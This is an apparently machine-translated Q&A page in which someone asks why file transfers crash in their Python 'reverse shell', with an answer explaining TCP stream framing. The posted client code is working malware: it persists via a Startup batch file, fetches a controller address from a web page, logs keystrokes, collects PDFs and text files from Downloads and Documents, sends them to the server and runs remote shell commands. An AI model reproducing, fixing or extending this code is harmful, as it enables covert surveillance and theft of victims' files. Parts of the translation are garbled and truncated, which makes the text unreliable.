Python Socket TCP connection size limit?
我目前正在创建一个基于TCP的反向shell(客户机在远程计算机上,连接到本地服务器),它既可以发送和接收文件,也可以通过TCP发送shell命令。这些程序在其他方面(例如,接收和发送命令、服务器接收文件)都可以正常工作,直到我尝试从服务器向客户机发送大文件(我记得大于1 KB)。当我尝试发送大型文件时,服务器发送完之后,客户端由于某种原因崩溃。我甚至看不到错误信息。我试图通过在客户端显示接收到的内容来调试它,但它似乎接收到了很好的内容,但立即崩溃。我将为那些想要帮助的人附加客户机代码和服务器代码。代码有点奇怪,因为我在第一次调试时添加了一些"标志"。谢谢您。
服务器代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | import socket, pickle, time, os server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) address = 'localhost' port = 1024 server.bind((address, port)) server.listen(5) c, addr = server.accept() file_list = {} print'connection from: '+str(addr) print'remote shell can only be used for utility purpose, when switching dirve, use"//" between cd and address' os.chdir("C:/Users/Insert_Name/Desktop/Server") while True: command = raw_input(str(addr)+'>>') if command == 't': c.send(command) cile_list = c.recv(1024) cile_lista = pickle.loads(cile_list) for key, value in cile_lista.iteritems(): if 'Downloads' in key: a, sep, b = key.partition('/Downloads/') if 'Documents' in key: a, sep, b = key.partition('/Documents/') if 'JAVA' in key: a, sep, b = key.partition('/JAVA_BACKUP/') output = open(b, 'wb') content = c.recv(value) output.write(content) output.close() print'file transfer complete' if command == 'a': c.send(command) print'enter T to indicate file list complete' patha = raw_input('Enter file path(must be in server directory, aka Server): ') while patha != 'T': try: f = open(patha,'rb') f.close() size = os.path.getsize(patha) a, sep, b = str(size).partition('L') file_list[patha] = int(a) except: print'invalid file name' patha = raw_input('Enter file path(must be in server directory): ') if len(file_list) == 0: c.send(pickle.dumps({'0.txt':0})) else: file_lista = pickle.dumps(file_list) c.send(file_lista) print file_list for file in file_list: os.chdir("C:/Users/Insert_Name/Desktop/Server") content = open(file, 'rb') content = content.read() c.send(content) file_list.clear() if command != 't': if command != 'a': if 'start' in command: c.send(command) else: c.send(command) if '//' in command: a, sep, b = command.partition('//') c.send(b) feedback = c.recv(1024) print feedback while True: feedback = c.recv(1024) if '_DONE_' in feedback: a, sep, b = feedback.partition('_SEP_') print a break print feedback |
客户代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | import socket, os, textract, pickle, requests, time, threading, subprocess, getpass, shutil, lxml, glob, pyHook, pythoncom, sys, logging from shutil import copyfile from lxml import html from os import listdir #var is the varification webiste var = 'https://www.publishthis.email/test-SJC9dAQ3G' file_list = {} print file_list username = getpass.getuser() def duplication(username): source ="C:/Users/"+username+"/Downloads/MATH_COUNTS/botnet.py" destination ="C:/Users/"+username+"/Saved Games" shutil.copy(source, destination) setup = open('C:/Users/'+ username+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setup.bat', 'w') pl =('@echo off start C:\Users/%USERNAME%/Saved Games/botnet.py') setup.write(pl) setup.close() def communication(var): page = requests.get(var) print page tree = html.fromstring(page.content) address = tree.xpath('//div[@class ="body"]/div[@dir ="ltr"]/text()') address = ''.join(address) address = address.replace("'","") return address def keylogger(username): filename ="C:/Users/"+username+"/Saved Games/README.txt" def keylog(event): username = getpass.getuser() logging.basicConfig(filename ="C:/Users/"+username+"/Saved Games/README.txt" , level=logging.DEBUG, format = '%(message)s') chr(event.Ascii) logging.log(10, chr(event.Ascii)) return True hm = pyHook.HookManager() hm.KeyDown = keylog hm.HookKeyboard() pythoncom.PumpMessages() def tcp_connection(address, username): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server = client.connect((address, 1024)) while True: command = client.recv(1024) if command != 'a': if command == 't': file_gatherer(username) print file_list file_lista = pickle.dumps(file_list) client.send(file_lista) for file in file_list: file = open(file, 'rb') file = file.read() client.send(file) if command != 't': if command != 'a': if 'cd' in command: f = os.getcwd() b = client.recv(1024) try: os.chdir(b) r = os.getcwd() except: r = 'error: invalid directory name' else: result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) f = result.stdout.read() r = result.stderr.read() client.send(f) client.send(r) client.send('_SEP_/n_DONE_') if command == 'a': cile_list = client.recv(1024) cile_lista = pickle.loads(cile_list) print cile_lista for key, value in cile_lista.iteritems(): output = open(key, 'wb') content = client.recv(value) print content output.write(content) output.close() def file_gatherer(username): try: os.makedirs("C:/Users/"+username+"/Games/JAVA_BACKUP") except: pass for file in os.listdir("C:/Users/"+username+"/Games/JAVA_BACKUP"): try: file_list["C:/Users/"+username+"/Games/JAVA_BACKUP/" + file] = os.path.getsize(file) except: pass os.chdir("C:/Users/"+username+"/Downloads") for file in glob.glob('*.pdf'): size = os.path.getsize(file) a, sep, b = str(size).partition('L') file_list["C:/Users/"+username+"/Downloads/" + file] = int(a) for file in glob.glob('*.txt'): size = os.path.getsize(file) a, sep, b = str(size).partition('L') file_list["C:/Users/"+username+"/Downloads/" + file] = int(a) os.chdir("C:/Users/"+username+"/Documents") for file in glob.glob('*.pdf'): size = os.path.getsize(file) a, sep, b = str(size).partition('L') file_list["C:/Users/"+username+"/Documents/" + file] = int(a) #for file in glob.glob('*.txt'): # file_list["C:/Users/"+username+"/Documents/" + file] = os.path.getsize(file) tcp_connection('localhost', username) def main(): duplication() keylogger() address = communication(var) file_gatherer() file_transfer(address) |
号
问题只是文件传输。
Python Socket TCP connection size limit?
号
你实际上问错了问题。真正的问题是,TCP是一个流协议,您将其视为一个消息协议,也就是说,在您的代码中,您假定一方的每个
Applications are responsible for checking that all data has been sent; if only some of the data was transmitted, the application needs to attempt delivery of the remaining data.
号
忽略这一点意味着在读取数据时可能会遇到不完整的"消息",或者在读取数据时会收到多个"消息"(或一个填充、一个部分或类似的消息)。例如,这可能会导致试图取消拾取数据时崩溃。
但要达到大小限制:在单个
The client program contains a keylogger, which is for now useless because I haven't created a command to activate it yet, so you can just ignore that.
号
当你自己调试一个问题或者让其他人帮助你调试它时,如果你扔掉了所有实际上不需要的东西来重现这个问题,它会有很大的帮助。了解如何创建一个最小、完整和可验证的示例。
- 通常,您不能假定套接字读取会填满缓冲区,或者套接字写入会发送指定的全部数据量。
- 一般来说,您不应该将整个文件加载到内存中:您应该使用一个具有合理缓冲区大小的复制循环,比如8K。